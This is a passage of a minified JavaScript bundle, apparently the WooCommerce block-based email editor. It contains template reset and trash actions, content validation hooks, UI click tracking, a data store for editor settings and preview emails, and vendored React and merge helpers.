n;Ct[o]||(Ct[o]={}),Tt[o]||(Tt[o]={});for(const[e,t]of Object.entries(r))Tt[o][e]||(Tt[o][e]=n[e],Ct[o][e]=(...n)=>{try{"function"==typeof t?t(...n):"string"==typeof t&&(0,C.yM)(t)}catch(e){console.error("Error tracking event",e)}return Tt[o][e](...n)}),n[e]=Ct[o][e];return n}}))};let Pt=[];function Nt(e){Pt.forEach(t=>{const o=e.target?.matches?.(t.selector)?e.target:e.target?.closest?.(t.selector);o&&("function"==typeof t.track?t.track(o,e):(0,C.yM)(t.track))})}const Bt=new WeakMap,Rt={core:["saveEditedEntityRecord","saveEntityRecord"]},zt=()=>{Object.keys(Bt).length>0||(0,r.use)(e=>({dispatch:t=>{const o="object"==typeof t?t.name:t;if(!Rt[o])return e.dispatch(o);const n=e.dispatch(o);Bt[o]||(Bt[o]={});const r=Rt[o].filter(e=>!Bt[o][e]);if(r.length>0)for(const t of r)Bt[o][t]=n[t],n[t]=async(...n)=>{const r=e.select(j.H).getContentValidation(),s=r?.validateContent;if(s){let e;try{e=s()}catch(t){e=!1}if(!e)return Promise.reject(new Error((0,y.__)("Content validation failed.","woocommerce")))}return await Bt[o][t](...n)};return n}}))};var It=o(33107),$t=o(18537),Ht=o(1455),Ft=o.n(Ht);function Lt(e){return"string"==typeof e.title?(0,$t.decodeEntities)(e.title):e.title&&"rendered"in e.title?(0,$t.decodeEntities)(e.title.rendered):e.title&&"raw"in e.title?(0,$t.decodeEntities)(e.title.raw):""}const At=e=>{"wp_template"===e&&((0,oe.yd)("postType",e,"duplicate-post"),(0,oe.yd)("postType",e,"reset-post"),(0,oe.Bi)("postType",e,{id:"reset-email-template",label:(0,y.__)("Reset","woocommerce"),supportsBulk:!1,icon:It.A,isEligible(e){if("wp_template"!==e.type)return!1;if("custom"!==e.source)return!1;if(!Boolean(e.plugin)&&!Boolean(e.has_theme_file))return!1;const{permissions:t}=e;return t?.delete},hideModalHeader:!0,modalFocusOnMount:"firstContentElement",RenderModal:({items:e,closeModal:t,onActionPerformed:o})=>{const[i,a]=(0,s.useState)(!1),{createSuccessNotice:l,createErrorNotice:d}=(0,r.useDispatch)(re.store),{invalidateResolution:m,editEntityRecord:u,saveEditedEntityRecord:p}=(0,r.useDispatch)(Q.store),g=e[0],_=(0,y.sprintf)((0,y.__)('Are you sure you want to reset "%s" to default?',"woocommerce"),Lt(g));return(0,n.jsxs)(b.__experimentalVStack,{spacing:"5",children:[(0,n.jsx)(b.__experimentalText,{children:_}),(0,n.jsxs)(b.__experimentalHStack,{justify:"right",children:[(0,n.jsx)(b.Button,{variant:"tertiary",onClick:()=>{t?.(),(0,C.yM)("reset_modal_cancel_button_clicked")},disabled:i,__next40pxDefaultSize:!0,children:(0,y.__)("Cancel","woocommerce")}),(0,n.jsx)(b.Button,{variant:"primary",onClick:async()=>{(0,C.yM)("reset_modal_confirm_button_clicked"),a(!0);try{const n=await Ft()({path:`/wp/v2/templates/${g.id}?context=edit&source=${g.origin}`}),r=(0,c.parse)(n.content?.raw||"");u("postType",g.type,g.id,{blocks:r,content:(0,c.serialize)(r),source:g.origin}),await p("postType",g.type,g.id,{}),await Ft()({path:`/wp/v2/templates/${g.id}`,method:"DELETE"}),m("getEntityRecord",["postType",g.type,g.id]);const s=(0,y.sprintf)((0,y.__)('"%s" reset to default.',"woocommerce"),Lt(g));l(s,{type:"snackbar",id:"reset-email-template-action"}),o?.(e),a(!1),t?.()}catch(e){let o=(0,y.__)("An error occurred while resetting the template.","woocommerce");e&&"object"==typeof e&&"message"in e&&(o=String(e.message)),(0,C.yM)("reset_modal_error",{errorMessage:o}),d(o,{type:"snackbar"}),a(!1),t?.()}},isBusy:i,disabled:i,__next40pxDefaultSize:!0,children:(0,y.__)("Reset","woocommerce")})]})]})}}))},Vt=(0,n.jsx)(O.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,n.jsx)(O.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M12 5.5A2.25 2.25 0 0 0 9.878 7h4.244A2.251 2.251 0 0 0 12 5.5ZM12 4a3.751 3.751 0 0 0-3.675 3H5v1.5h1.27l.818 8.997a2.75 2.75 0 0 0 2.739 2.501h4.347a2.75 2.75 0 0 0 2.738-2.5L17.73 8.5H19V7h-3.325A3.751 3.751 0 0 0 12 4Zm4.224 4.5H7.776l.806 8.861a1.25 1.25 0 0 0 1.245 1.137h4.347a1.25 1.25 0 0 0 1.245-1.137l.805-8.861Z"})});function Ot(e){return"string"==typeof e.title?(0,$t.decodeEntities)(e.title):e.title&&"rendered"in e.title?(0,$t.decodeEntities)(e.title.rendered):e.title&&"raw"in e.title?(0,$t.decodeEntities)(e.title.raw):""}function Dt(e,t){return t?e.length>1?(0,y.sprintf)((0,y._n)("Are you sure you want to permanently delete %d item?","Are you sure you want to permanently delete %d items?",e.length,"woocommerce"),e.length):(0,y.sprintf)((0,y.__)('Are you sure you want to permanently delete "%s"?',"woocommerce"),(0,$t.decodeEntities)(Ot(e[0]))):e.length>1?(0,y.sprintf)((0,y._n)("Are you sure you want to move %d item to the trash ?","Are you sure you want to move %d items to the trash ?",e.length,"woocommerce"),e.length):(0,y.sprintf)((0,y.__)('Are you sure you want to move "%s" to the trash?',"woocommerce"),Ot(e[0]))}const Gt=e=>{(0,oe.yd)("postType",e,"move-to-trash"),(0,oe.Bi)("postType",e,(()=>{const e=(0,i.applyFilters)("woocommerce_email_editor_trash_modal_should_permanently_delete",!1);return{id:"trash-email-post",label:e?(0,y.__)("Permanently delete","woocommerce"):(0,y.__)("Move to trash","woocommerce"),supportsBulk:!0,icon:Vt,isEligible(e){if("wp_template"===e.type||"wp_template_part"===e.type||"wp_block"===e.type)return!1;const{permissions:t}=e;return t?.delete},hideModalHeader:!0,modalFocusOnMount:"firstContentElement",RenderModal:({items:t,closeModal:o,onActionPerformed:i})=>{const[a,l]=(0,s.useState)(!1),{createSuccessNotice:c,createErrorNotice:d}=(0,r.useDispatch)(re.store),{deleteEntityRecord:m}=(0,r.useDispatch)(Q.store),{urls:u}=(0,r.useSelect)(e=>({urls:e(j.H).getUrls()}),[]);return(0,n.jsxs)(b.__experimentalVStack,{spacing:"5",children:[(0,n.jsx)(b.__experimentalText,{children:Dt(t,e)}),(0,n.jsxs)(b.__experimentalHStack,{justify:"right",children:[(0,n.jsx)(b.Button,{variant:"tertiary",onClick:()=>{o?.(),(0,C.yM)("trash_modal_cancel_button_clicked")},disabled:a,__next40pxDefaultSize:!0,children:(0,y.__)("Cancel","woocommerce")}),(0,n.jsx)(b.Button,{variant:"primary",onClick:async()=>{(0,C.yM)("trash_modal_move_to_trash_button_clicked"),l(!0);const n=await Promise.allSettled(t.map(t=>m("postType",t.type,t.id,{force:e},{throwOnError:!0})));if(n.every(({status:e})=>"fulfilled"===e)){let o;o=1===n.length?e?(0,y.sprintf)((0,y.__)('"%s" permanently deleted.',"woocommerce"),Ot(t[0])):(0,y.sprintf)((0,y.__)('"%s" moved to the trash.',"woocommerce"),Ot(t[0])):e?(0,y.__)("The items were permanently deleted.","woocommerce"):(0,y.sprintf)((0,y._n)("%s item moved to the trash.","%s items moved to the trash.",t.length,"woocommerce"),t.length),c(o,{type:"snackbar",id:"trash-email-post-action"}),i?.(t),u?.listings&&(window.location.href=u.listings)}else{let e;if(1===n.length){const t=n[0];e=t.reason?.message?t.reason.message:(0,y.__)("An error occurred while performing the action.","woocommerce")}else{const t=new Set,o=n.filter(({status:e})=>"rejected"===e);for(const e of o){const o=e;o.reason?.message&&t.add(o.reason.message)}e=0===t.size?(0,y.__)("An error occurred while performing the action.","woocommerce"):1===t.size?(0,y.sprintf)((0,y.__)("An error occurred while performing the action: %s","woocommerce"),[...t][0]):(0,y.sprintf)((0,y.__)("Some errors occurred while performing the action: %s","woocommerce"),[...t].join(","))}(0,C.yM)("trash_modal_move_to_trash_error",{errorMessage:e}),d(e,{type:"snackbar"})}l(!1),o?.()},isBusy:a,disabled:a,__next40pxDefaultSize:!0,children:e?(0,y.__)("Delete permanently","woocommerce"):(0,y.__)("Move to trash","woocommerce")})]})]})}}})())};const Wt=window.wp.isShallowEqual;var Ut=o.n(Wt);function qt(e){const t=(0,s.useRef)(e);return Ut()(e,t.current)||(t.current=e),t.current}const Zt=[],Yt=()=>{const{addValidationNotice:e,hasValidationNotice:t,removeValidationNotice:o}=nt(),{editedContent:n,editedTemplateContent:a}=(0,r.useSelect)(e=>({editedContent:e(j.H).getEditedEmailContent(),editedTemplateContent:e(j.H).getCurrentTemplateContent()})),l=qt(n),c=qt(a),d=(0,s.useCallback)(()=>((e,t,{addValidationNotice:o,hasValidationNotice:n,removeValidationNotice:r})=>{const s=(0,i.applyFilters)("woocommerce_email_editor_content_validation_rules",Zt);let a=!0;return s.forEach(({id:s,testContent:i,message:l,actions:c})=>{i(e+t)?(o(s,l,c),a=!1):n(s)&&r(s)}),a})(l,c,{addValidationNotice:e,hasValidationNotice:t,removeValidationNotice:o}),[l,c,e,o,t]);return(0,s.useEffect)(()=>((0,r.dispatch)(j.H).setContentValidation({validateContent:d}),()=>{(0,r.dispatch)(j.H).setContentValidation(void 0)}),[d]),(0,s.useEffect)(()=>{const e=(0,r.subscribe)(()=>{t()&&d()},Q.store);return()=>e()},[t,d]),{validateContent:d}},Kt=()=>{const e=(0,s.useMemo)(()=>{const e=(0,y.__)("Saving failed.");return new RegExp("^"+e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&"))},[]);(0,s.useEffect)(()=>{const t=(0,r.subscribe)(()=>{(0,r.select)(re.store).getNotices().forEach(t=>{"string"==typeof t.content&&e.test(t.content)&&(0,r.dispatch)(re.store).removeNotice(t.id)})});return()=>{t()}},[e])};const Jt=(0,r.createSelector)(e=>function(e){return e.map(e=>function(e){const t={"site-editor-save-success":{content:(0,y.__)("Email design updated.","woocommerce"),removeActions:!0},"editor-save":{content:(0,y.__)("Email saved.","woocommerce"),removeActions:!1,contentCheck:e=>e.includes((0,y.__)("Post updated."))}}[e.id];return t?t.contentCheck&&!t.contentCheck(e.content)?e:{...e,content:t.content,spokenMessage:t.content,actions:t.removeActions?[]:e.actions}:e}(e))}(e),e=>[e]),Xt=()=>{const e=(0,s.useRef)(null),[t,o]=(0,s.useState)(0),n=(0,s.useCallback)(t=>{e.current=t,o(e=>++e)},[e,o]),l=(0,r.useSelect)(e=>{const{getEditorSettings:t}=e(a.store);return t()?.allowedIframeStyleHandles??[]});return(0,s.useEffect)(()=>{if(!e.current)return;const{ownerDocument:t}=e.current;Array.from(document.styleSheets).filter(e=>{if(!(e?.ownerNode instanceof Element))return!1;const t=e.ownerNode.getAttribute("id"),o=t&&!l.includes(t);return(0,i.applyFilters)("woocommerce_email_editor_iframe_stylesheet_should_remove",o,e)}).map(e=>e.ownerNode.getAttribute("id")).forEach(e=>{const o=t.getElementById(e);o&&o.remove();const n=t.createElement("style");n.id=e,t.head.appendChild(n)})},[l,t]),n};function Qt({postId:e,postType:t,isPreview:o=!1,contentRef:i=null,customSavePanel:a}){const[c,m]=(0,s.useState)(!1),{settings:u}=(0,r.useSelect)(e=>({settings:e(j.H).getInitialEditorSettings()}),[]);Yt(),Kt(),(0,s.useEffect)(()=>{let e;return(0,r.use)(t=>(e=t.select,{select:t=>{if(function(e){return"object"==typeof e?e.name:e}(t)!==re.store.name)return e(t);const o=e(t),n=o.getNotices;return n?{...o,getNotices:e=>Jt(n(e))}:o}})),()=>{(0,r.use)(()=>({select:e}))}},[]);const{setEmailPost:p}=(0,r.useDispatch)(j.H);(0,s.useEffect)(()=>{p(e,t),m(!0)},[e,t,p]);const g=Xt(),_=(0,l.useMergeRefs)([g,i]),h=(0,s.useMemo)(()=>({...u,allowedBlockTypes:d(),isPreviewMode:o}),[u,o]);return c?(0,n.jsx)(s.StrictMode,{children:(0,n.jsx)(xt,{postId:e,postType:t,settings:h,contentRef:_,customSavePanel:a})}):null}function eo(){(0,i.hasFilter)("sync.providers","woocommerce/email-editor/disable-collab")||(window._wpCollaborationEnabled&&(window._wpCollaborationEnabled=!1),(0,i.addFilter)("sync.providers","woocommerce/email-editor/disable-collab",()=>[],1e3)),jt(),Mt(),(0,C.V1)()&&(Pt=[{track:"header_preview_dropdown_preview_in_new_tab_selected",selector:".editor-preview-dropdown__button-external"},{track:()=>{const e=document.getElementsByClassName("is-collapsed editor-collapsible-block-toolbar").length;(0,C.yM)("header_blocks_tool_button_clicked",{isBlockToolsCollapsed:e})},selector:".editor-collapsible-block-toolbar__toggle"},{track:e=>{const t=e.classList.contains("is-opened");(0,C.yM)("header_more_menu_dropdown_toggle",{isOpened:t})},selector:`.components-dropdown-menu__toggle[aria-label="${(0,y.__)("Options")}"]`},{track:e=>{(e.textContent===(0,y.__)("Save")&&"false"===e.getAttribute("aria-disabled")||e.textContent===(0,y.__)("Saving…"))&&(0,C.yM)("header_save_button_clicked")},selector:".editor-post-publish-button"},{track:"header_save_email_button_clicked",selector:".editor-post-saved-state.is-saving"},{track:"inserter_sidebar_library_close_icon_clicked",selector:".block-editor-inserter__menu .block-editor-tabbed-sidebar__close-button"},{track:e=>{const t=e.classList.contains("is-opened");(0,C.yM)("header_preview_dropdown_clicked",{isOpened:t})},selector:".editor-preview-dropdown__toggle"},{track:()=>{(0,C.yM)("sidebar_tab_selected",{tab:"document"})},selector:'[data-tab-id="edit-post/document"]'},{track:()=>{(0,C.yM)("sidebar_tab_selected",{tab:"block"})},selector:'[data-tab-id="edit-post/block"]'},{track:e=>{const t=e.classList.contains("is-pressed");(0,C.yM)("header_inserter_sidebar_clicked",{isOpened:t})},selector:".editor-document-tools__inserter-toggle"},{track:e=>{const t=e.classList.contains("is-pressed");(0,C.yM)("header_listview_sidebar_clicked",{isOpened:t})},selector:".editor-document-tools__document-overview-toggle"},{track:e=>{(0,C.yM)("command_bar_command_clicked",{command:e.dataset?.value})},selector:'.commands-command-menu__container [role="option"]'}],document.addEventListener("click",Nt)),(0,bt.y$)(),zt(),A(),(0,g.tN)("core.registerPostTypeSchema","woocommerce-email-editor/modify-move-to-trash-action",e=>{Gt(e)}),(0,g.tN)("core.registerPostTypeActions","woocommerce-email-editor/modify-move-to-trash-action",e=>{Gt(e)}),(0,g.tN)("core.registerPostTypeSchema","woocommerce-email-editor/modify-template-actions",e=>{At(e)}),(0,g.tN)("core.registerPostTypeActions","woocommerce-email-editor/modify-template-actions",e=>{At(e)}),vt(),(0,c.getBlockTypes)().forEach(e=>{q(e.name)&&(0,p.G)(e.name,e=>({...e,attributes:{...e.attributes,layout:{type:"object"}}}))}),(0,g.HY)("editor.BlockListBlock","woocommerce-email-editor/with-layout-styles",X),(0,g.HY)("editor.BlockEdit","woocommerce-email-editor/with-inspector-controls",K)}function to(e){const t=document.getElementById(e);if(!t)return;const{current_post_id:o,current_post_type:a}=window.WooCommerceEmailEditor;if(null==o)throw new Error("current_post_id is required but not provided.");if(!a)throw new Error("current_post_type is required but not provided.");const l=(0,i.applyFilters)("woocommerce_email_editor_wrap_editor_component",Qt);eo();const c=function(){if(!window.WooCommerceEmailEditor)throw new Error("WooCommerceEmailEditor global object is not available. This is required for the email editor to work.");const e=window.WooCommerceEmailEditor.editor_settings,t=window.WooCommerceEmailEditor.editor_theme,o=window.WooCommerceEmailEditor.urls,n=window.WooCommerceEmailEditor.current_wp_user_email,r=window.WooCommerceEmailEditor.user_theme_post_id;if(!e)throw new Error("window.WooCommerceEmailEditor.editor_settings is required.");if(!t)throw new Error("window.WooCommerceEmailEditor.editor_theme is required.");if(!o||"string"!=typeof o.back||"string"!=typeof o.listings)throw new Error("window.WooCommerceEmailEditor.urls.back and .listings are required strings.");return{editorSettings:e,theme:t,urls:o,userEmail:n,globalStylesPostId:r??null}}();(0,r.dispatch)(j.H).setEditorConfig(c),(0,s.createRoot)(t).render((0,n.jsx)(l,{postId:o,postType:a}))}function oo(e){"loading"===document.readyState?window.addEventListener("DOMContentLoaded",()=>{to(e)},{once:!0}):to(e)}},77046:(e,t,o)=>{o.d(t,{oq:()=>u,KE:()=>c,fA:()=>d,oz:()=>l,Lf:()=>m,Bi:()=>p,yd:()=>g});var n=o(47143);const r=window.wp.privateApis;var s=o(43656),i=o(94715);const{unlock:a}=(0,r.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.","@wordpress/edit-site"),{ColorPanel:l}=a(i.privateApis),{Editor:c,FullscreenMode:d,ViewMoreMenuGroup:m,BackButton:u}=a(s.privateApis),{registerEntityAction:p,unregisterEntityAction:g}=a((0,n.dispatch)(s.store))},23886:(e,t,o)=>{o.d(t,{H:()=>n,q:()=>r});const n="email-editor/editor",r={name:"personalization_tag",kind:"root",baseURL:"/woocommerce-email-editor/v1/personalization_tags",key:"token"}},94373:(e,t,o)=>{o.d(t,{y$:()=>se});var n={};o.r(n),o.d(n,{invalidatePersonalizationTagsCache:()=>g,requestSendingNewsletterPreview:()=>f,setContentValidation:()=>w,setEditorConfig:()=>S,setEditorSettings:()=>x,setEditorTheme:()=>b,setEditorUrls:()=>v,setEmailPost:()=>p,setEmailPostType:()=>_,setTemplateSelected:()=>y,setTemplateToPost:()=>h,togglePreviewModal:()=>m,updateSendPreviewEmail:()=>u});var r={};o.r(r),o.d(r,{canUserEditGlobalEmailStyles:()=>G,canUserEditTemplates:()=>L,getBlockPatternsForEmailTemplate:()=>F,getContentValidation:()=>ne,getCurrentTemplate:()=>O,getCurrentTemplateContent:()=>D,getEditedEmailContent:()=>$,getEditedPostTemplate:()=>V,getEmailPostId:()=>q,getEmailPostType:()=>Z,getEmailTemplates:()=>U,getGlobalEmailStylesPost:()=>W,getGlobalStylesPostId:()=>te,getInitialEditorSettings:()=>Y,getPaletteColors:()=>K,getPersonalizationTagsList:()=>X,getPreviewState:()=>J,getSentEmailEditorPosts:()=>H,getStyles:()=>Q,getTheme:()=>ee,getUrls:()=>oe,hasEdits:()=>R,hasEmptyContent:()=>z,isEmailSent:()=>I,isFeatureActive:()=>B,isTemplateSelected:()=>re});var s=o(47143),i=o(3582);const a=window.wp.dataControls;var l=o(23886),c=o(6986),d=o(98038);function m(e){return{type:"CHANGE_PREVIEW_STATE",state:{isModalOpened:e}}}function u(e){return{type:"CHANGE_PREVIEW_STATE",state:{toEmail:e}}}const p=(e,t)=>async({dispatch:o})=>{if(!e||!t)throw new Error("setEmailPost requires valid postId and postType parameters");o({type:"SET_EMAIL_POST",state:{postId:e,postType:t}})},g=()=>async({registry:e})=>{const t=e.select(l.H).getEmailPostId(),o={context:"view",per_page:-1};t&&(o.post_id=t),e.dispatch(i.store).invalidateResolution("getEntityRecords",[l.q.kind,l.q.name,o])};function _(e){if(!e)throw new Error("setEmailPostType requires a valid postType parameter");return{type:"SET_EMAIL_POST",state:{postType:e}}}const h=e=>async({registry:t})=>{const o=t.select(l.H).getEmailPostId(),n=t.select(l.H).getEmailPostType();t.dispatch(i.store).editEntityRecord("postType",n,o,{template:e})};function y(){return{type:"SET_TEMPLATE_SELECTED"}}function*f(e){if(!(0,s.select)(l.H).getPreviewState().isSendingPreviewEmail){yield{type:"CHANGE_PREVIEW_STATE",state:{sendingPreviewStatus:null,isSendingPreviewEmail:!0}};try{const t=(0,s.select)(l.H).getEmailPostId();yield(0,a.apiFetch)({path:"/woocommerce-email-editor/v1/send_preview_email",method:"POST",data:{email:e,postId:t}}),yield{type:"CHANGE_PREVIEW_STATE",state:{sendingPreviewStatus:c.T.SUCCESS,isSendingPreviewEmail:!1}},(0,d.yM)("sent_preview_email",{postId:t,email:e})}catch(t){(0,d.yM)("sent_preview_email_error",{email:e}),yield{type:"CHANGE_PREVIEW_STATE",state:{sendingPreviewStatus:c.T.ERROR,isSendingPreviewEmail:!1,errorMessage:JSON.stringify(t?.error)}}}}}function w(e){return{type:"SET_CONTENT_VALIDATION",validation:e}}function x(e){return{type:"SET_EDITOR_SETTINGS",editorSettings:e}}function b(e){return{type:"SET_EDITOR_THEME",theme:e}}function v(e){return{type:"SET_EDITOR_URLS",urls:e}}function S(e){return{type:"SET_EDITOR_CONFIG",config:e}}function j(e,t){switch(t.type){case"CHANGE_PREVIEW_STATE":return{...e,preview:{...e.preview,...t.state}};case"SET_EMAIL_POST":return{...e,...t.state};case"SET_CONTENT_VALIDATION":return{...e,contentValidation:t.validation};case"SET_TEMPLATE_SELECTED":return{...e,templateSelected:!0};case"SET_EDITOR_SETTINGS":return{...e,editorSettings:t.editorSettings};case"SET_EDITOR_THEME":return{...e,theme:t.theme};case"SET_EDITOR_URLS":return{...e,urls:{...e.urls,...t.urls}};case"SET_EDITOR_CONFIG":return{...e,editorSettings:t.config.editorSettings,theme:t.config.theme,urls:t.config.urls,preview:{...e.preview,toEmail:t.config.userEmail},styles:{...e.styles,globalStylesPostId:t.config.globalStylesPostId??null}};default:return e}}var k=o(43656),E=o(41233),C=o(74997);function T(e){return e?.content&&"function"==typeof e.content?e.content(e):e?.blocks?(0,C.serialize)(e.blocks):e?.content?e.content:""}const M=new WeakMap;function P(e){let t=M.get(e);return t||(t={...e,get blocks(){return(0,C.parse)(e.content)},get emailBlocks(){return e.emailContent?(0,C.parse)(e.emailContent):null}},M.set(e,t)),t}function N(e){return e?{...e,title:e?.title?.raw||e?.title||"",content:e?.content?.raw||e?.content||""}:null}const B=(0,s.createRegistrySelector)(e=>(t,o)=>!!e(E.store).get(l.H,o)),R=(0,s.createRegistrySelector)(e=>()=>{const t=e(l.H).getEmailPostId(),o=e(l.H).getEmailPostType();return!!e(i.store).hasEditsForEntityRecord("postType",o,t)}),z=(0,s.createRegistrySelector)(e=>()=>{const t=e(l.H).getEmailPostId(),o=e(l.H).getEmailPostType(),n=e(i.store).getEntityRecord("postType",o,t);if(!n)return!0;const{content:r}=n;return!r.raw}),I=(0,s.createRegistrySelector)(e=>()=>{const t=e(l.H).getEmailPostId(),o=e(l.H).getEmailPostType(),n=e(i.store).getEntityRecord("postType",o,t);return!!n&&"sent"===n.status}),$=(0,s.createRegistrySelector)(e=>()=>{const t=e(l.H).getEmailPostId(),o=e(l.H).getEmailPostType(),n=e(i.store).getEditedEntityRecord("postType",o,t);return n?T(n):""}),H=(0,s.createRegistrySelector)(e=>()=>{const t=e(l.H).getEmailPostType();return e(i.store).getEntityRecords("postType",t,{per_page:30,status:"publish,sent"})?.filter(e=>""!==e?.content?.raw)||[]}),F=(0,s.createRegistrySelector)(e=>{const t=e(l.H).getEmailPostType();return(0,s.createSelector)(()=>t?e(i.store).getBlockPatterns().filter(({templateTypes:e,postTypes:o})=>Array.isArray(e)&&e.includes("email-template")&&(void 0===o||0===o.length||o.includes(t))).map(P):[],()=>[e(i.store).getBlockPatterns(),t])}),L=(0,s.createRegistrySelector)(e=>()=>e(i.store).canUser("create",{kind:"postType",name:"wp_template"}));function A(e,t){return L()?e(i.store).getEditedEntityRecord("postType","wp_template",t):N(e(i.store).getEntityRecord("postType","wp_template",t,{context:"view"}))}const V=(0,s.createRegistrySelector)(e=>(t,o)=>{const n=o||e(k.store).getEditedPostAttribute("template");if(n){const t={context:"view",per_page:-1,_woocommerce_email_editor:"fetch-all-templates"},o=e(i.store).getEntityRecords("postType","wp_template",t)?.find(e=>e.slug===n);return o?A(e,o.id):null}const r=e(i.store).getDefaultTemplateId({slug:"email-general"});return A(e,r)}),O=(0,s.createRegistrySelector)(e=>()=>{if("wp_template"===e(k.store).getCurrentPostType()){const t=e(k.store).getCurrentPostId();return e(i.store).getEditedEntityRecord("postType","wp_template",t)}return e(l.H).getEditedPostTemplate()}),D=()=>{const e=O();return e?T(e):""},G=(0,s.createRegistrySelector)(e=>()=>{const t=e(l.H).getGlobalStylesPostId();return{postId:t,canEdit:e(i.store).canUser("update",{kind:"root",name:"globalStyles",id:t})}}),W=(0,s.createRegistrySelector)(e=>()=>{const{postId:t,canEdit:o}=G();return t&&void 0!==o&&t?o?e(i.store).getEditedEntityRecord("root","globalStyles",t):N(e(i.store).getEntityRecord("root","globalStyles",t,{context:"view"})):null}),U=(0,s.createRegistrySelector)(e=>{const t=e(l.H).getEmailPostType();return(0,s.createSelector)(()=>e(i.store).getEntityRecords("postType","wp_template",{per_page:-1,post_type:t,context:"view"})?.filter(e=>e.post_types.includes(t)),()=>[e(i.store).getEntityRecords("postType","wp_template",{per_page:-1,post_type:t,context:"view"})])});function q(e){return e.postId}function Z(e){return e.postType}function Y(e){return e.editorSettings}function K(e){return e.editorSettings?.__experimentalFeatures?.color?.palette}function J(e){return e.preview}const X=(0,s.createRegistrySelector)(e=>()=>{const t=e(l.H).getEmailPostId(),o={context:"view",per_page:-1};t&&(o.post_id=t);const n=e(i.store).getEntityRecords(l.q.kind,l.q.name,o)||[],r=e(l.H).getEmailPostType();if(!r)return n;if("wp_template"===r){const t=e(l.H).getCurrentTemplate();return n.filter(e=>void 0===e.postTypes||0===e.postTypes.length||Array.isArray(t.post_types)&&t.post_types.some(t=>e.postTypes.includes(t)))}return n.filter(e=>void 0===e.postTypes||0===e.postTypes.length||e.postTypes.includes(r))});function Q(e){return e.theme?.styles}function ee(e){return e.theme}function te(e){return e.styles.globalStylesPostId}function oe(e){return e.urls}function ne(e){return e.contentValidation}function re(e){return e.templateSelected}const se=()=>{if(void 0!==(0,s.select)(l.H))return(0,s.select)(l.H);const e=(0,s.createReduxStore)(l.H,{actions:n,controls:a.controls,selectors:r,resolvers:{},reducer:j,initialState:{editorSettings:void 0,theme:void 0,styles:{globalStylesPostId:null},urls:{back:"",listings:""},preview:{toEmail:"",isModalOpened:!1,isSendingPreviewEmail:!1,sendingPreviewStatus:null},contentValidation:void 0,templateSelected:!1}});return(0,s.register)(e),(0,s.dispatch)(i.store).addEntities([l.q]),e}},6986:(e,t,o)=>{var n;o.d(t,{T:()=>n}),function(e){e.SUCCESS="success",e.ERROR="error"}(n||(n={}))},14348:(e,t,o)=>{function n(e){if("string"!=typeof e)return null;const t=e.match(/^var:preset\|([a-zA-Z0-9-]+)\|([a-zA-Z0-9-]+)$/);return t?`--wp--preset--${t[1]}--${t[2]}`:null}function r(e){const t=n(e);return t?`var(${t})`:e}function s(e){const t=n(e);if(!t)return e;const o=document.querySelector(":root");return o&&getComputedStyle(o).getPropertyValue(t).trim()||e}o.d(t,{DJ:()=>r,pr:()=>s})},76597:e=>{var t=function(e){return function(e){return!!e&&"object"==typeof e}(e)&&!function(e){var t=Object.prototype.toString.call(e);return"[object RegExp]"===t||"[object Date]"===t||function(e){return e.$$typeof===o}(e)}(e)},o="function"==typeof Symbol&&Symbol.for?Symbol.for("react.element"):60103;function n(e,t){return!1!==t.clone&&t.isMergeableObject(e)?a((o=e,Array.isArray(o)?[]:{}),e,t):e;var o}function r(e,t,o){return e.concat(t).map(function(e){return n(e,o)})}function s(e){return Object.keys(e).concat(function(e){return Object.getOwnPropertySymbols?Object.getOwnPropertySymbols(e).filter(function(t){return Object.propertyIsEnumerable.call(e,t)}):[]}(e))}function i(e,t){try{return t in e}catch(e){return!1}}function a(e,o,l){(l=l||{}).arrayMerge=l.arrayMerge||r,l.isMergeableObject=l.isMergeableObject||t,l.cloneUnlessOtherwiseSpecified=n;var c=Array.isArray(o);return c===Array.isArray(e)?c?l.arrayMerge(e,o,l):function(e,t,o){var r={};return o.isMergeableObject(e)&&s(e).forEach(function(t){r[t]=n(e[t],o)}),s(t).forEach(function(s){(function(e,t){return i(e,t)&&!(Object.hasOwnProperty.call(e,t)&&Object.propertyIsEnumerable.call(e,t))})(e,s)||(i(e,s)&&o.isMergeableObject(t[s])?r[s]=function(e,t){if(!t.customMerge)return a;var o=t.customMerge(e);return"function"==typeof o?o:a}(s,o)(e[s],t[s],o):r[s]=n(t[s],o))}),r}(e,o,l):n(o,l)}a.all=function(e,t){if(!Array.isArray(e))throw new Error("first argument should be an array");return e.reduce(function(e,o){return a(e,o,t)},{})};var l=a;e.exports=l},94931:(e,t,o)=>{var n=o(51609),r=Symbol.for("react.element"),s=Symbol.for("react.fragment"),i=Object.prototype.hasOwnProperty,a=n.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,l={key:!0,ref:!0,__self:!0,__source:!0};function c(e,t,o){var n,s={},c=null,d=null;for(n in void 0!==o&&(c=""+o),void 0!==t.key&&(c=""+t.key),void 0!==t.ref&&(d=t.ref),t)i.call(t,n)&&!l.hasOwnProperty(n)&&(s[n]=t[n]);if(e&&e.defaultProps)for(n in t=e.defaultProps)void 0===s[n]&&(s[n]=t[n]);return{$$typeof:r,type:e,key:c,ref:d,props:s,_owner:a.current}}t.Fragment=s,t.jsx=c,t.jsxs=c},39793:(e,t,o)=>{e.exports=o(94931)},51609:e=>{e.exports=window.React},66087:e=>{e.exports=window.lodash},1455:e=>{e.exports=window.wp.apiFetch},94715:e=>{e.exports=window.wp.blockEditor},74997:e=>{e.exports=window.wp.blocks},56427:e=>{e.exports=window.wp.components},3582:e=>{e.exports=window.wp.coreData},47143:e=>{e.exports=window.wp.data},43656:e=>{e.exports=window.wp.editor},86087:e=>{e.exports=window.wp.element},52619:e=>{e.exports=window.wp.hooks},18537:e=>{e.exports=window.wp.htmlEntities},27723:e=>{e.exports=window.wp.i18n},48558:e=>{e.exports=window.wp.keycodes},692:e=>{e.exports=window.wp.notices},92279:e=>{e.exports=window.wp.plugins},41233:e=>{e.exports=window.wp.preferences},5573:e=>{e.exports=window.wp.primitives},50876:e=>{e.exports=window.wp.richText},4921:(e,t,o)=>{function n(e){var t,o,r="";if("string"==typeof e||"number"==typeof e)r+=e;else if("object"==typeof e)if(Array.isArray(e)){var s=e.length;for(t=0;t<s;t++)e[t]&&(o=n(e[t]))&&(r&&(r+=" "),r+=o)}else for(o in e)e[o]&&(r&&(r+=" 